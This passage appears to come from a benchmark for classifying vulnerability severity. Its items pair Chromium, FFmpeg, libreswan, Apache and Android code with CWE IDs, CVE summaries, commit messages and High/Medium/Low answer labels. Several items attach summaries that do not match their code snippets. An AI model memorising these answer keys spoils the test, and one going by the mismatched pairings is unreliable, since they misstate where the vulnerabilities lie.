is_enabled_ = false;
return;
}
if (document_url_.IsEmpty()) {
is_enabled_ = false;
return;
}
if (document_url_.ProtocolIsData()) {
is_enabled_ = false;
return;
}
if (document->Encoding().IsValid())
encoding_ = document->Encoding();
if (DocumentLoader* document_loader =
document->GetFrame()->Loader().GetDocumentLoader()) {
const AtomicString& header_value =
document_loader->GetResponse().HttpHeaderField(
HTTPNames::X_XSS_Protection);
String error_details;
unsigned error_position = 0;
String report_url;
KURL xss_protection_report_url;
ReflectedXSSDisposition xss_protection_header = ParseXSSProtectionHeader(
header_value, error_details, error_position, report_url);
if (xss_protection_header == kAllowReflectedXSS)
UseCounter::Count(*document, WebFeature::kXSSAuditorDisabled);
else if (xss_protection_header == kFilterReflectedXSS)
UseCounter::Count(*document, WebFeature::kXSSAuditorEnabledFilter);
else if (xss_protection_header == kBlockReflectedXSS)
UseCounter::Count(*document, WebFeature::kXSSAuditorEnabledBlock);
else if (xss_protection_header == kReflectedXSSInvalid)
UseCounter::Count(*document, WebFeature::kXSSAuditorInvalid);
did_send_valid_xss_protection_header_ =
xss_protection_header != kReflectedXSSUnset &&
xss_protection_header != kReflectedXSSInvalid;
if ((xss_protection_header == kFilterReflectedXSS ||
xss_protection_header == kBlockReflectedXSS) &&
!report_url.IsEmpty()) {
xss_protection_report_url = document->CompleteURL(report_url);
if (MixedContentChecker::IsMixedContent(document->GetSecurityOrigin(),
xss_protection_report_url)) {
error_details = "insecure reporting URL for secure page";
xss_protection_header = kReflectedXSSInvalid;
xss_protection_report_url = KURL();
}
}
if (xss_protection_header == kReflectedXSSInvalid) {
document->AddConsoleMessage(ConsoleMessage::Create(
kSecurityMessageSource, kErrorMessageLevel,
"Error parsing header X-XSS-Protection: " + header_value + ": " +
error_details + " at character position " +
String::Format("%u", error_position) +
". The default protections will be applied."));
}
xss_protection_ = xss_protection_header;
if (xss_protection_ == kReflectedXSSInvalid ||
xss_protection_ == kReflectedXSSUnset) {
xss_protection_ = kBlockReflectedXSS;
}
if (auditor_delegate)
auditor_delegate->SetReportURL(xss_protection_report_url.Copy());
EncodedFormData* http_body = document_loader->GetRequest().HttpBody();
if (http_body && !http_body->IsEmpty())
http_body_as_string_ = http_body->FlattenToString();
}
SetEncoding(encoding_);
}
Vulnerability Type: XSS
CWE ID: CWE-79
Summary: XSS Auditor in Google Chrome prior to 64.0.3282.119, did not ensure the reporting URL was in the same origin as the page it was on, which allowed a remote attacker to obtain referrer details via a crafted HTML page.
Commit Message: Restrict the xss audit report URL to same origin
BUG=441275
[email protected],[email protected]
Change-Id: I27bc8e251b9ad962c3b4fdebf084a2b9152f915d
Reviewed-on: https://chromium-review.googlesource.com/768367
Reviewed-by: Tom Sepez <[email protected]>
Reviewed-by: Mike West <[email protected]>
Commit-Queue: Jochen Eisinger <[email protected]>
Cr-Commit-Position: refs/heads/master@{#516666} | Medium | 172,693 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: IDNSpoofChecker::IDNSpoofChecker() {
UErrorCode status = U_ZERO_ERROR;
checker_ = uspoof_open(&status);
if (U_FAILURE(status)) {
checker_ = nullptr;
return;
}
uspoof_setRestrictionLevel(checker_, USPOOF_HIGHLY_RESTRICTIVE);
SetAllowedUnicodeSet(&status);
int32_t checks = uspoof_getChecks(checker_, &status) | USPOOF_AUX_INFO;
uspoof_setChecks(checker_, checks, &status);
deviation_characters_ = icu::UnicodeSet(
UNICODE_STRING_SIMPLE("[\\u00df\\u03c2\\u200c\\u200d]"), status);
deviation_characters_.freeze();
non_ascii_latin_letters_ =
icu::UnicodeSet(UNICODE_STRING_SIMPLE("[[:Latin:] - [a-zA-Z]]"), status);
non_ascii_latin_letters_.freeze();
kana_letters_exceptions_ = icu::UnicodeSet(
UNICODE_STRING_SIMPLE("[\\u3078-\\u307a\\u30d8-\\u30da\\u30fb-\\u30fe]"),
status);
kana_letters_exceptions_.freeze();
combining_diacritics_exceptions_ =
icu::UnicodeSet(UNICODE_STRING_SIMPLE("[\\u0300-\\u0339]"), status);
combining_diacritics_exceptions_.freeze();
cyrillic_letters_latin_alike_ = icu::UnicodeSet(
icu::UnicodeString::fromUTF8("[асԁеһіјӏорԛѕԝхуъЬҽпгѵѡ]"), status);
cyrillic_letters_latin_alike_.freeze();
cyrillic_letters_ =
icu::UnicodeSet(UNICODE_STRING_SIMPLE("[[:Cyrl:]]"), status);
cyrillic_letters_.freeze();
DCHECK(U_SUCCESS(status));
lgc_letters_n_ascii_ = icu::UnicodeSet(
UNICODE_STRING_SIMPLE("[[:Latin:][:Greek:][:Cyrillic:][0-9\\u002e_"
"\\u002d][\\u0300-\\u0339]]"),
status);
lgc_letters_n_ascii_.freeze();
UParseError parse_error;
diacritic_remover_.reset(icu::Transliterator::createFromRules(
UNICODE_STRING_SIMPLE("DropAcc"),
icu::UnicodeString::fromUTF8("::NFD; ::[:Nonspacing Mark:] Remove; ::NFC;"
" ł > l; ø > o; đ > d;"),
UTRANS_FORWARD, parse_error, status));
extra_confusable_mapper_.reset(icu::Transliterator::createFromRules(
UNICODE_STRING_SIMPLE("ExtraConf"),
icu::UnicodeString::fromUTF8(
"[æӕ] > ae; [þϼҏ] > p; [ħнћңҥӈӊԋԧԩ] > h;"
"[ĸκкқҝҟҡӄԟ] > k; [ŋпԥก] > n; œ > ce;"
"[ŧтҭԏ] > t; [ƅьҍв] > b; [ωшщพฟພຟ] > w;"
"[мӎ] > m; [єҽҿၔ] > e; ґ > r; [ғӻ] > f;"
"[ҫင] > c; ұ > y; [χҳӽӿ] > x;"
"ԃ > d; [ԍဌ] > g; [ടรຣຮ] > s; ၂ > j;"
"[зҙӡვဒ] > 3; [บບ] > u"),
UTRANS_FORWARD, parse_error, status));
DCHECK(U_SUCCESS(status))
<< "Spoofchecker initalization failed due to an error: "
<< u_errorName(status);
}
Vulnerability Type:
CWE ID: CWE-20
Summary: Incorrect handling of confusable characters in URL Formatter in Google Chrome prior to 71.0.3578.80 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted domain name.
Commit Message: Map U+10DE to 3 when checking for confusables
Georgian letter U+10DE (პ) looks similar to the number 3. This cl adds
U+10DE to the mapping to 3 when determining whether to fall back to
punycode when displaying URLs.
Bug: 895207
Change-Id: I49713d7772428f8d364f371850a42913669acc4b
Reviewed-on: https://chromium-review.googlesource.com/c/1284396
Commit-Queue: Livvie Lin <[email protected]>
Reviewed-by: Peter Kasting <[email protected]>
Cr-Commit-Position: refs/heads/master@{#600193} | Medium | 172,639 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: WindowOpenDisposition TestBrowserWindow::GetDispositionForPopupBounds(
const gfx::Rect& bounds) {
return WindowOpenDisposition::NEW_POPUP;
}
Vulnerability Type:
CWE ID: CWE-20
Summary: A missing check for popup window handling in Fullscreen in Google Chrome on macOS prior to 69.0.3497.81 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page.
Commit Message: Mac: turn popups into new tabs while in fullscreen.
It's platform convention to show popups as new tabs while in
non-HTML5 fullscreen. (Popups cause tabs to lose HTML5 fullscreen.)
This was implemented for Cocoa in a BrowserWindow override, but
it makes sense to just stick it into Browser and remove a ton
of override code put in just to support this.
BUG=858929, 868416
TEST=as in bugs
Change-Id: I43471f242813ec1159d9c690bab73dab3e610b7d
Reviewed-on: https://chromium-review.googlesource.com/1153455
Reviewed-by: Sidney San Martín <[email protected]>
Commit-Queue: Avi Drissman <[email protected]>
Cr-Commit-Position: refs/heads/master@{#578755} | Medium | 173,208 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void HostPortAllocatorSession::SendSessionRequest(const std::string& host,
int port) {
GURL url("https://" + host + ":" + base::IntToString(port) +
GetSessionRequestUrl() + "&sn=1");
scoped_ptr<UrlFetcher> url_fetcher(new UrlFetcher(url, UrlFetcher::GET));
url_fetcher->SetRequestContext(url_context_);
url_fetcher->SetHeader("X-Talk-Google-Relay-Auth", relay_token());
url_fetcher->SetHeader("X-Google-Relay-Auth", relay_token());
url_fetcher->SetHeader("X-Stream-Type", "chromoting");
url_fetcher->Start(base::Bind(&HostPortAllocatorSession::OnSessionRequestDone,
base::Unretained(this), url_fetcher.get()));
url_fetchers_.insert(url_fetcher.release());
}
Vulnerability Type: DoS
CWE ID: CWE-399
Summary: Use-after-free vulnerability in the PDF functionality in Google Chrome before 22.0.1229.79 allows remote attackers to cause a denial of service or possibly have unspecified other impact via a crafted document.
Commit Message: Remove UrlFetcher from remoting and use the one in net instead.
BUG=133790
TEST=Stop and restart the Me2Me host. It should still work.
Review URL: https://chromiumcodereview.appspot.com/10637008
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@143798 0039d316-1c4b-4281-b951-d872f2087c98 | Medium | 170,811 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int filter_frame(AVFilterLink *inlink, AVFrame *in)
{
GradFunContext *s = inlink->dst->priv;
AVFilterLink *outlink = inlink->dst->outputs[0];
AVFrame *out;
int p, direct;
if (av_frame_is_writable(in)) {
direct = 1;
out = in;
} else {
direct = 0;
out = ff_get_video_buffer(outlink, outlink->w, outlink->h);
if (!out) {
av_frame_free(&in);
return AVERROR(ENOMEM);
}
av_frame_copy_props(out, in);
}
for (p = 0; p < 4 && in->data[p]; p++) {
int w = inlink->w;
int h = inlink->h;
int r = s->radius;
if (p) {
w = s->chroma_w;
h = s->chroma_h;
r = s->chroma_r;
}
if (FFMIN(w, h) > 2 * r)
filter(s, out->data[p], in->data[p], w, h, out->linesize[p], in->linesize[p], r);
else if (out->data[p] != in->data[p])
av_image_copy_plane(out->data[p], out->linesize[p], in->data[p], in->linesize[p], w, h);
}
if (!direct)
av_frame_free(&in);
return ff_filter_frame(outlink, out);
}
Vulnerability Type: Overflow
CWE ID: CWE-119
Summary: libavfilter in FFmpeg before 2.0.1 has unspecified impact and remote vectors related to a crafted *plane,* which triggers an out-of-bounds heap write.
Commit Message: avfilter: fix plane validity checks
Fixes out of array accesses
Signed-off-by: Michael Niedermayer <[email protected]> | High | 166,001 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void DownloadCoreServiceImpl::SetDownloadManagerDelegateForTesting(
std::unique_ptr<ChromeDownloadManagerDelegate> new_delegate) {
manager_delegate_.swap(new_delegate);
DownloadManager* dm = BrowserContext::GetDownloadManager(profile_);
dm->SetDelegate(manager_delegate_.get());
manager_delegate_->SetDownloadManager(dm);
if (new_delegate)
new_delegate->Shutdown();
}
Vulnerability Type:
CWE ID: CWE-125
Summary: Bad cast in DevTools in Google Chrome on Win, Linux, Mac, Chrome OS prior to 66.0.3359.117 allowed an attacker who convinced a user to install a malicious extension to perform an out of bounds memory read via a crafted Chrome Extension.
Commit Message: Don't downcast DownloadManagerDelegate to ChromeDownloadManagerDelegate.
DownloadManager has public SetDelegate method and tests and or other subsystems
can install their own implementations of the delegate.
Bug: 805905
Change-Id: Iecf1e0aceada0e1048bed1e2d2ceb29ca64295b8
TBR: tests updated to follow the API change.
Reviewed-on: https://chromium-review.googlesource.com/894702
Reviewed-by: David Vallet <[email protected]>
Reviewed-by: Min Qin <[email protected]>
Cr-Commit-Position: refs/heads/master@{#533515} | Medium | 173,169 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: bool MediaControlsProgressView::OnMousePressed(const ui::MouseEvent& event) {
gfx::Point location_in_bar(event.location());
ConvertPointToTarget(this, this->progress_bar_, &location_in_bar);
if (!event.IsOnlyLeftMouseButton() ||
!progress_bar_->GetLocalBounds().Contains(location_in_bar)) {
return false;
}
HandleSeeking(location_in_bar);
return true;
}
Vulnerability Type: +Info
CWE ID: CWE-200
Summary: A timing attack in SVG rendering in Google Chrome prior to 60.0.3112.78 for Linux, Windows, and Mac allowed a remote attacker to extract pixel values from a cross-origin page being iframe'd via a crafted HTML page.
Commit Message: [Lock Screen Media Controls] Tweak UI based on new mocks
This CL rearranges the different components of the CrOS lock screen
media controls based on the newest mocks. This involves resizing most
of the child views and their spacings. The artwork was also resized
and re-positioned. Additionally, the close button was moved from the
main view to the header row child view.
Artist and title data about the current session will eventually be
placed to the right of the artwork, but right now this space is empty.
See the bug for before and after pictures.
Bug: 991647
Change-Id: I7b97f31982ccf2912bd2564d5241bfd849d21d92
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1746554
Reviewed-by: Xiyuan Xia <[email protected]>
Reviewed-by: Becca Hughes <[email protected]>
Commit-Queue: Mia Bergeron <[email protected]>
Cr-Commit-Position: refs/heads/master@{#686253} | Low | 172,348 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: TestPaintArtifact& TestPaintArtifact::ScrollHitTest(
scoped_refptr<const TransformPaintPropertyNode> scroll_offset) {
return ScrollHitTest(NewClient(), scroll_offset);
}
Vulnerability Type: DoS
CWE ID:
Summary: Multiple unspecified vulnerabilities in Google Chrome before 47.0.2526.73 allow attackers to cause a denial of service or possibly have other impact via unknown vectors.
Commit Message: Reland "[CI] Make paint property nodes non-ref-counted"
This reverts commit 887383b30842d9d9006e11bb6932660a3cb5b1b7.
Reason for revert: Retry in M69.
Original change's description:
> Revert "[CI] Make paint property nodes non-ref-counted"
>
> This reverts commit 70fc0b018c9517558b7aa2be00edf2debb449123.
>
> Reason for revert: Caused bugs found by clusterfuzz
>
> Original change's description:
> > [CI] Make paint property nodes non-ref-counted
> >
> > Now all paint property nodes are owned by ObjectPaintProperties
> > (and LocalFrameView temporarily before removing non-RLS mode).
> > Others just use raw pointers or references.
> >
> > Bug: 833496
> > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> > Change-Id: I2d544fe153bb94698623248748df63c8aa2081ae
> > Reviewed-on: https://chromium-review.googlesource.com/1031101
> > Reviewed-by: Tien-Ren Chen <[email protected]>
> > Commit-Queue: Xianzhu Wang <[email protected]>
> > Cr-Commit-Position: refs/heads/master@{#554626}
>
> [email protected],[email protected],[email protected]
>
> Change-Id: I02bb50d6744cb81a797246a0116b677e80a3c69f
> No-Presubmit: true
> No-Tree-Checks: true
> No-Try: true
> Bug: 833496,837932,837943
> Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> Reviewed-on: https://chromium-review.googlesource.com/1034292
> Reviewed-by: Xianzhu Wang <[email protected]>
> Commit-Queue: Xianzhu Wang <[email protected]>
> Cr-Commit-Position: refs/heads/master@{#554653}
[email protected],[email protected],[email protected]
# Not skipping CQ checks because original CL landed > 1 day ago.
Bug: 833496, 837932, 837943
Change-Id: I0b4ef70db1f1f211ba97c30d617225355c750992
Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
Reviewed-on: https://chromium-review.googlesource.com/1083491
Commit-Queue: Xianzhu Wang <[email protected]>
Reviewed-by: Xianzhu Wang <[email protected]>
Cr-Commit-Position: refs/heads/master@{#563930} | High | 171,848 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void ikev2_parent_inI2outR2_continue(struct pluto_crypto_req_cont *pcrc,
struct pluto_crypto_req *r,
err_t ugh)
{
struct dh_continuation *dh = (struct dh_continuation *)pcrc;
struct msg_digest *md = dh->md;
struct state *const st = md->st;
stf_status e;
DBG(DBG_CONTROLMORE,
DBG_log("ikev2 parent inI2outR2: calculating g^{xy}, sending R2"));
if (st == NULL) {
loglog(RC_LOG_SERIOUS,
"%s: Request was disconnected from state",
__FUNCTION__);
if (dh->md)
release_md(dh->md);
return;
}
/* XXX should check out ugh */
passert(ugh == NULL);
passert(cur_state == NULL);
passert(st != NULL);
passert(st->st_suspended_md == dh->md);
set_suspended(st, NULL); /* no longer connected or suspended */
set_cur_state(st);
st->st_calculating = FALSE;
e = ikev2_parent_inI2outR2_tail(pcrc, r);
if ( e > STF_FAIL) {
/* we do not send a notify because we are the initiator that could be responding to an error notification */
int v2_notify_num = e - STF_FAIL;
DBG_log(
"ikev2_parent_inI2outR2_tail returned STF_FAIL with %s",
enum_name(&ikev2_notify_names, v2_notify_num));
} else if ( e != STF_OK) {
DBG_log("ikev2_parent_inI2outR2_tail returned %s",
enum_name(&stfstatus_name, e));
}
if (dh->md != NULL) {
complete_v2_state_transition(&dh->md, e);
if (dh->md)
release_md(dh->md);
}
reset_globals();
passert(GLOBALS_ARE_RESET());
}
Vulnerability Type: DoS
CWE ID: CWE-20
Summary: The ikev2parent_inI1outR1 function in pluto/ikev2_parent.c in libreswan before 3.7 allows remote attackers to cause a denial of service (restart) via an IKEv2 I1 notification without a KE payload.
Commit Message: SECURITY: Properly handle IKEv2 I1 notification packet without KE payload | Medium | 166,471 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: apr_status_t ap_http_filter(ap_filter_t *f, apr_bucket_brigade *b,
ap_input_mode_t mode, apr_read_type_e block, apr_off_t readbytes)
{
core_server_config *conf;
apr_bucket *e;
http_ctx_t *ctx = f->ctx;
apr_status_t rv;
apr_off_t totalread;
int again;
conf = (core_server_config *)
ap_get_module_config(f->r->server->module_config, &core_module);
/* just get out of the way of things we don't want. */
if (mode != AP_MODE_READBYTES && mode != AP_MODE_GETLINE) {
return ap_get_brigade(f->next, b, mode, block, readbytes);
}
if (!ctx) {
const char *tenc, *lenp;
f->ctx = ctx = apr_pcalloc(f->r->pool, sizeof(*ctx));
ctx->state = BODY_NONE;
/* LimitRequestBody does not apply to proxied responses.
* Consider implementing this check in its own filter.
* Would adding a directive to limit the size of proxied
* responses be useful?
*/
if (!f->r->proxyreq) {
ctx->limit = ap_get_limit_req_body(f->r);
}
else {
ctx->limit = 0;
}
tenc = apr_table_get(f->r->headers_in, "Transfer-Encoding");
lenp = apr_table_get(f->r->headers_in, "Content-Length");
if (tenc) {
if (strcasecmp(tenc, "chunked") == 0 /* fast path */
|| ap_find_last_token(f->r->pool, tenc, "chunked")) {
ctx->state = BODY_CHUNK;
}
else if (f->r->proxyreq == PROXYREQ_RESPONSE) {
/* http://tools.ietf.org/html/draft-ietf-httpbis-p1-messaging-23
* Section 3.3.3.3: "If a Transfer-Encoding header field is
* present in a response and the chunked transfer coding is not
* the final encoding, the message body length is determined by
* reading the connection until it is closed by the server."
*/
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(02555)
"Unknown Transfer-Encoding: %s;"
" using read-until-close", tenc);
tenc = NULL;
}
else {
/* Something that isn't a HTTP request, unless some future
* edition defines new transfer encodings, is unsupported.
*/
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(01585)
"Unknown Transfer-Encoding: %s", tenc);
return APR_EGENERAL;
}
lenp = NULL;
}
if (lenp) {
char *endstr;
ctx->state = BODY_LENGTH;
/* Protects against over/underflow, non-digit chars in the
* string (excluding leading space) (the endstr checks)
* and a negative number. */
if (apr_strtoff(&ctx->remaining, lenp, &endstr, 10)
|| endstr == lenp || *endstr || ctx->remaining < 0) {
ctx->remaining = 0;
ap_log_rerror(
APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(01587)
"Invalid Content-Length");
return APR_ENOSPC;
}
/* If we have a limit in effect and we know the C-L ahead of
* time, stop it here if it is invalid.
*/
if (ctx->limit && ctx->limit < ctx->remaining) {
ap_log_rerror(
APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(01588)
"Requested content-length of %" APR_OFF_T_FMT
" is larger than the configured limit"
" of %" APR_OFF_T_FMT, ctx->remaining, ctx->limit);
return APR_ENOSPC;
}
}
/* If we don't have a request entity indicated by the headers, EOS.
* (BODY_NONE is a valid intermediate state due to trailers,
* but it isn't a valid starting state.)
*
* RFC 2616 Section 4.4 note 5 states that connection-close
* is invalid for a request entity - request bodies must be
* denoted by C-L or T-E: chunked.
*
* Note that since the proxy uses this filter to handle the
* proxied *response*, proxy responses MUST be exempt.
*/
if (ctx->state == BODY_NONE && f->r->proxyreq != PROXYREQ_RESPONSE) {
e = apr_bucket_eos_create(f->c->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(b, e);
ctx->eos_sent = 1;
return APR_SUCCESS;
}
/* Since we're about to read data, send 100-Continue if needed.
* Only valid on chunked and C-L bodies where the C-L is > 0. */
if ((ctx->state == BODY_CHUNK
|| (ctx->state == BODY_LENGTH && ctx->remaining > 0))
&& f->r->expecting_100 && f->r->proto_num >= HTTP_VERSION(1,1)
&& !(f->r->eos_sent || f->r->bytes_sent)) {
if (!ap_is_HTTP_SUCCESS(f->r->status)) {
ctx->state = BODY_NONE;
ctx->eos_sent = 1;
}
else {
char *tmp;
int len;
apr_bucket_brigade *bb;
bb = apr_brigade_create(f->r->pool, f->c->bucket_alloc);
/* if we send an interim response, we're no longer
* in a state of expecting one.
*/
f->r->expecting_100 = 0;
tmp = apr_pstrcat(f->r->pool, AP_SERVER_PROTOCOL " ",
ap_get_status_line(HTTP_CONTINUE), CRLF CRLF, NULL);
len = strlen(tmp);
ap_xlate_proto_to_ascii(tmp, len);
e = apr_bucket_pool_create(tmp, len, f->r->pool,
f->c->bucket_alloc);
APR_BRIGADE_INSERT_HEAD(bb, e);
e = apr_bucket_flush_create(f->c->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(bb, e);
rv = ap_pass_brigade(f->c->output_filters, bb);
if (rv != APR_SUCCESS) {
return AP_FILTER_ERROR;
}
}
}
}
/* sanity check in case we're read twice */
if (ctx->eos_sent) {
e = apr_bucket_eos_create(f->c->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(b, e);
return APR_SUCCESS;
}
do {
apr_brigade_cleanup(b);
again = 0; /* until further notice */
/* read and handle the brigade */
switch (ctx->state) {
case BODY_CHUNK:
case BODY_CHUNK_PART:
case BODY_CHUNK_EXT:
case BODY_CHUNK_END: {
rv = ap_get_brigade(f->next, b, AP_MODE_GETLINE, block, 0);
/* for timeout */
if (block == APR_NONBLOCK_READ
&& ((rv == APR_SUCCESS && APR_BRIGADE_EMPTY(b))
|| (APR_STATUS_IS_EAGAIN(rv)))) {
return APR_EAGAIN;
}
if (rv == APR_EOF) {
return APR_INCOMPLETE;
}
if (rv != APR_SUCCESS) {
return rv;
}
e = APR_BRIGADE_FIRST(b);
while (e != APR_BRIGADE_SENTINEL(b)) {
const char *buffer;
apr_size_t len;
if (!APR_BUCKET_IS_METADATA(e)) {
rv = apr_bucket_read(e, &buffer, &len, APR_BLOCK_READ);
if (rv == APR_SUCCESS) {
rv = parse_chunk_size(ctx, buffer, len,
f->r->server->limit_req_fieldsize);
}
if (rv != APR_SUCCESS) {
ap_log_rerror(
APLOG_MARK, APLOG_INFO, rv, f->r, APLOGNO(01590) "Error reading chunk %s ", (APR_ENOSPC == rv) ? "(overflow)" : "");
return rv;
}
}
apr_bucket_delete(e);
e = APR_BRIGADE_FIRST(b);
}
again = 1; /* come around again */
if (ctx->state == BODY_CHUNK_TRAILER) {
/* Treat UNSET as DISABLE - trailers aren't merged by default */
int merge_trailers =
conf->merge_trailers == AP_MERGE_TRAILERS_ENABLE;
return read_chunked_trailers(ctx, f, b, merge_trailers);
}
break;
}
case BODY_NONE:
case BODY_LENGTH:
case BODY_CHUNK_DATA: {
/* Ensure that the caller can not go over our boundary point. */
if (ctx->state != BODY_NONE && ctx->remaining < readbytes) {
readbytes = ctx->remaining;
}
if (readbytes > 0) {
rv = ap_get_brigade(f->next, b, mode, block, readbytes);
/* for timeout */
if (block == APR_NONBLOCK_READ
&& ((rv == APR_SUCCESS && APR_BRIGADE_EMPTY(b))
|| (APR_STATUS_IS_EAGAIN(rv)))) {
return APR_EAGAIN;
}
if (rv == APR_EOF && ctx->state != BODY_NONE
&& ctx->remaining > 0) {
return APR_INCOMPLETE;
}
if (rv != APR_SUCCESS) {
return rv;
}
/* How many bytes did we just read? */
apr_brigade_length(b, 0, &totalread);
/* If this happens, we have a bucket of unknown length. Die because
* it means our assumptions have changed. */
AP_DEBUG_ASSERT(totalread >= 0);
if (ctx->state != BODY_NONE) {
ctx->remaining -= totalread;
if (ctx->remaining > 0) {
e = APR_BRIGADE_LAST(b);
if (APR_BUCKET_IS_EOS(e)) {
apr_bucket_delete(e);
return APR_INCOMPLETE;
}
}
else if (ctx->state == BODY_CHUNK_DATA) {
/* next chunk please */
ctx->state = BODY_CHUNK_END;
ctx->chunk_used = 0;
}
}
}
/* If we have no more bytes remaining on a C-L request,
* save the caller a round trip to discover EOS.
*/
if (ctx->state == BODY_LENGTH && ctx->remaining == 0) {
e = apr_bucket_eos_create(f->c->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(b, e);
ctx->eos_sent = 1;
}
/* We have a limit in effect. */
if (ctx->limit) {
/* FIXME: Note that we might get slightly confused on chunked inputs
* as we'd need to compensate for the chunk lengths which may not
* really count. This seems to be up for interpretation. */
ctx->limit_used += totalread;
if (ctx->limit < ctx->limit_used) {
ap_log_rerror(
APLOG_MARK, APLOG_INFO, 0, f->r, APLOGNO(01591) "Read content-length of %" APR_OFF_T_FMT " is larger than the configured limit"
" of %" APR_OFF_T_FMT, ctx->limit_used, ctx->limit);
return APR_ENOSPC;
}
}
break;
}
case BODY_CHUNK_TRAILER: {
rv = ap_get_brigade(f->next, b, mode, block, readbytes);
/* for timeout */
if (block == APR_NONBLOCK_READ
&& ((rv == APR_SUCCESS && APR_BRIGADE_EMPTY(b))
|| (APR_STATUS_IS_EAGAIN(rv)))) {
return APR_EAGAIN;
}
if (rv != APR_SUCCESS) {
return rv;
}
break;
}
default: {
break;
}
}
} while (again);
return APR_SUCCESS;
}
Vulnerability Type:
CWE ID: CWE-20
Summary: The chunked transfer coding implementation in the Apache HTTP Server before 2.4.14 does not properly parse chunk headers, which allows remote attackers to conduct HTTP request smuggling attacks via a crafted request, related to mishandling of large chunk-size values and invalid chunk-extension characters in modules/http/http_filters.c.
Commit Message: Limit accepted chunk-size to 2^63-1 and be strict about chunk-ext
authorized characters.
Submitted by: Yann Ylavic
git-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1684513 13f79535-47bb-0310-9956-ffa450edef68 | Medium | 166,633 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: bool SoftVPX::outputBuffers(bool flushDecoder, bool display, bool eos, bool *portWillReset) {
List<BufferInfo *> &outQueue = getPortQueue(1);
BufferInfo *outInfo = NULL;
OMX_BUFFERHEADERTYPE *outHeader = NULL;
vpx_codec_iter_t iter = NULL;
if (flushDecoder && mFrameParallelMode) {
if (vpx_codec_decode((vpx_codec_ctx_t *)mCtx, NULL, 0, NULL, 0)) {
ALOGE("Failed to flush on2 decoder.");
return false;
}
}
if (!display) {
if (!flushDecoder) {
ALOGE("Invalid operation.");
return false;
}
while ((mImg = vpx_codec_get_frame((vpx_codec_ctx_t *)mCtx, &iter))) {
}
return true;
}
while (!outQueue.empty()) {
if (mImg == NULL) {
mImg = vpx_codec_get_frame((vpx_codec_ctx_t *)mCtx, &iter);
if (mImg == NULL) {
break;
}
}
uint32_t width = mImg->d_w;
uint32_t height = mImg->d_h;
outInfo = *outQueue.begin();
outHeader = outInfo->mHeader;
CHECK_EQ(mImg->fmt, VPX_IMG_FMT_I420);
handlePortSettingsChange(portWillReset, width, height);
if (*portWillReset) {
return true;
}
outHeader->nOffset = 0;
outHeader->nFlags = 0;
outHeader->nFilledLen = (outputBufferWidth() * outputBufferHeight() * 3) / 2;
outHeader->nTimeStamp = *(OMX_TICKS *)mImg->user_priv;
if (outHeader->nAllocLen >= outHeader->nFilledLen) {
uint8_t *dst = outHeader->pBuffer;
const uint8_t *srcY = (const uint8_t *)mImg->planes[VPX_PLANE_Y];
const uint8_t *srcU = (const uint8_t *)mImg->planes[VPX_PLANE_U];
const uint8_t *srcV = (const uint8_t *)mImg->planes[VPX_PLANE_V];
size_t srcYStride = mImg->stride[VPX_PLANE_Y];
size_t srcUStride = mImg->stride[VPX_PLANE_U];
size_t srcVStride = mImg->stride[VPX_PLANE_V];
copyYV12FrameToOutputBuffer(dst, srcY, srcU, srcV, srcYStride, srcUStride, srcVStride);
} else {
ALOGE("b/27597103, buffer too small");
android_errorWriteLog(0x534e4554, "27597103");
outHeader->nFilledLen = 0;
}
